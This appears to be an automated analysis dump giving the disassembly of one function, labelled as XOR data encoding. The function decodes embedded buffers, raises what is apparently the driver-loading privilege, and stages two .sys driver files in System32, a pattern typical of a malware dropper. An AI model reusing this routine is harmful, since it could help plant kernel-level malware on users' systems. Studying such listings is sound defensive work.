Function at 0x14004da40
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
push rbp
lea rbp, [r11 - 0x3f8]
sub rsp, 0x4f0
mov rax, qword [0x14009b040]
xor rax, rsp
mov qword [rbp + 0x3c0], rax
mov qword [r11 + 8], rbx
mov ecx, 0x7d0
movaps xmmword [r11 - 0x18], xmm6
movaps xmmword [r11 - 0x28], xmm7
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x140092290]
xor r8d, r8d
movups xmm1, xmmword [0x1400922a0]
mov eax, dword [0x1400922e0]
mov ebx, dword [0x14009b010]
movups xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [0x1400922b0]
movups xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x1400922d0]
movups xmmword [rsp + 0x40], xmm1
movups xmm1, xmmword [0x1400922c0]
mov dword [rbp - 0x80], eax
movzx eax, word [0x1400922e4]
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x60], xmm1
mov word [rbp - 0x7c], ax
cmp ebx, 2
jl 0x14004dc09
movdqa xmm5, xmmword [0x140092650]
lea rcx, [rsp + 0x30]
movdqa xmm4, xmmword [0x140092a70]
movdqa xmm6, xmmword [0x1400926f0]
movdqa xmm7, xmmword [0x140092760]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x28
jl 0x14004db10
cmp r8d, 0x2b
jge 0x14004dc58
movsxd rax, r8d
lea r9, [rsp + 0x30]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x37
xor word [r9 - 2], ax
cmp r8d, 0x2b
jl 0x14004dc20
mov r8d, 0x1d000
lea rdx, [0x1400de3e0]
lea rcx, [rsp + 0x30]
call fcn.14004d990
movups xmm0, xmmword [0x1400922f0]
xor ecx, ecx
movups xmm1, xmmword [0x140092300]
cmp ebx, 2
movzx eax, word [0x140092340]
mov rbx, qword [rsp + 0x500]
movups xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [0x140092310]
movups xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x140092330]
movups xmmword [rsp + 0x40], xmm1
movups xmm1, xmmword [0x140092320]
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x60], xmm1
mov word [rbp - 0x80], ax
jl 0x14004dde4
movdqa xmm5, xmmword [0x140092650]
lea rdx, [rsp + 0x30]
movdqa xmm4, xmmword [0x140092a70]
movdqa xmm6, xmmword [0x1400926f0]
movdqa xmm7, xmmword [0x140092760]
nop
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm5
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x28
jl 0x14004dcf0
cmp ecx, 0x29
jge 0x14004de23
movsxd rax, ecx
lea r8, [rsp + 0x30]
lea r8, [r8 + rax*2]
mov eax, 0x92492493
lea r8, [r8 + 2]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x38
movzx eax, cx
inc ecx
sub ax, dx
add ax, 0x37
xor word [r8 - 2], ax
cmp ecx, 0x29
jl 0x14004ddf0
mov r8d, 0x6650
lea rdx, [0x1400d7d90]
lea rcx, [rsp + 0x30]
call fcn.14004d990
lea r9, [rbp - 0x70]
xor r8d, r8d
mov dl, 1
mov ecx, 0xa
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
movaps xmm7, xmmword [rsp + 0x4d0]
movaps xmm6, xmmword [rsp + 0x4e0]
test eax, eax
js 0x14004dee1
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x1b0]
mov edx, 0x208
lea rcx, str.C:WindowsSystem32CoreDeviceDriver.sys
call qword [sym.imp.ntdll.dll_RtlGetFullPathName_UEx]
test eax, eax
js 0x14004dee1
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, [rbp - 0x60]
mov edx, 0x208
lea rcx, str.C:WindowsSystem32SmartConnectDriver.sys
call qword [sym.imp.ntdll.dll_RtlGetFullPathName_UEx]
test eax, eax
js 0x14004dee1
lea rdx, [rbp - 0x60]
lea rcx, [0x1400fc1f0]
call fcn.14004d480
test eax, eax
js 0x14004dee1
lea rdx, [rbp + 0x1b0]
lea rcx, [0x1400fc400]
call fcn.14004d480
test eax, eax
js 0x14004dee1
call fcn.14004d610
mov rcx, qword [rbp + 0x3c0]
xor rcx, rsp
call fcn.14004df70
add rsp, 0x4f0
pop rbp
ret